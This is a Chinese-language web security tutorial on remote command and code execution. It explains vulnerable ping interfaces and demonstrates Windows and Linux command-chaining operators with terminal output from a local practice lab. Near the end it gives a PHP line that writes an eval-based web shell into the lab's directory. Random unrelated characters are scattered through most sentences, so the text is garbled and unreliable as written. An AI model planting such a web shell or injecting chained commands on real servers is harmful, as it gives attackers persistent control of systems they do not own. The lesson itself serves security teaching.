風(fēng)炫安全web安全學(xué)習(xí)第三十節(jié)課 命令執(zhí)行&代碼執(zhí)行基礎(chǔ)
代碼執(zhí)行&命令執(zhí)行
RCE漏洞,可以讓攻擊者直接向后臺(tái)服務(wù)器遠(yuǎn)程注入操作系統(tǒng)命令或者代碼疚膊,從而控制后臺(tái)系統(tǒng)喂江。
遠(yuǎn)程系統(tǒng)命令執(zhí)行
一般出現(xiàn)這種漏洞鲜侥,是因?yàn)閼?yīng)用系統(tǒng)從設(shè)計(jì)上需要給用戶提供指定的遠(yuǎn)程命令操作的接口
比如我們常見的路由器仲器、防火墻稻爬、入侵檢測(cè)等設(shè)備的web管理界面上
一般會(huì)給用戶提供一個(gè)ping操作的web界面,用戶從web界面輸入目標(biāo)IP秘车,提交后,后臺(tái)會(huì)對(duì)該IP地址進(jìn)行一次ping測(cè)試劫哼,并返回測(cè)試結(jié)果叮趴。而,如果权烧,設(shè)計(jì)者在完成該功能時(shí)眯亦,沒有做嚴(yán)格的安全控制,則可能會(huì)導(dǎo)致攻擊者通過該接口提交“意想不到”的命令般码,從而讓后臺(tái)進(jìn)行執(zhí)行妻率,從而控制整個(gè)后臺(tái)服務(wù)器
Windows系統(tǒng)命令拼接
- “|”:管道符,前面命令標(biāo)準(zhǔn)輸出板祝,后面命令的標(biāo)準(zhǔn)輸入宫静。例如:help |more
- “&” commandA & commandB 先運(yùn)行命令A(yù),然后運(yùn)行命令B
- “||” commandA || commandB 運(yùn)行命令A(yù),如果失敗則運(yùn)行命令B
- “&&” commandA && commandB 運(yùn)行命令A(yù)孤里,如果成功則運(yùn)行命令B
LINUX下系統(tǒng)命令拼接
-
伏伯;分號(hào)(;) 可以進(jìn)行多條命令的無關(guān)聯(lián)執(zhí)行,每一條執(zhí)行結(jié)果不會(huì)影響其他命令的執(zhí)行
ls ; cat file
-
&& 邏輯與, 左邊的command1執(zhí)行成功(返回0表示成功)后捌袜,&&右邊的command2才能被執(zhí)行说搅。
? asdasdasd && cat testfile zsh: command not found: asdasdasd ? ls && cat testfile dvwa pikachu subject01 subject02 test.html test2.html test3.html testenv testfile test 30 hello 95 linux 85
-
|| 邏輯或,如果 || 左邊的command1執(zhí)行失敗(返回1表示失敗),才執(zhí)行||右邊的command2虏等,否則不執(zhí)行command2弄唧,具有短路功能。
? asdasda || cat testfile zsh: command not found: asdasda test 30 hello 95 linux 85 ? ls || cat testfile dvwa pikachu subject01 subject02 test.html test2.html test3.html testenv testfile
-
| 管道符霍衫,當(dāng)用此連接符連接多個(gè)命令時(shí)候引,前面命令執(zhí)行的正確輸出,會(huì)交給后面的命令繼續(xù)處理慕淡。若前面的命令執(zhí)行失敗背伴,則會(huì)報(bào)錯(cuò),若后面的命令無法處理前面命令的輸出峰髓,也會(huì)報(bào)錯(cuò)傻寂。
? cat testfile test 30 hello 95 linux 85 ? cat testfile | grep -n "hello" 2:hello 95 ? grep -n "hello" testfile 2:hello 95
-
() 如果想執(zhí)行幾個(gè)命令,則需要用命令分隔符分號(hào)隔開每個(gè)命令携兵,并使用圓括號(hào)()把所有命令組合起來疾掰。
結(jié)合||和&&可以實(shí)現(xiàn)復(fù)雜的功能。
? sort testfile hello 95 linux 85 test 30 ? sort testfile > test.sort && (cp test.sort /tmp/; cat /tmp/test.sort) hello 95 linux 85 test 30
file_put_contents('/var/www/html/pikachu/vul/rce/x.php', '<?php eval($_GET[w]);?>')
參考:
http://blog.evalshell.com/2020/12/20/風(fēng)炫安全web安全學(xué)習(xí)第三十節(jié)課-命令執(zhí)行代碼執(zhí)行/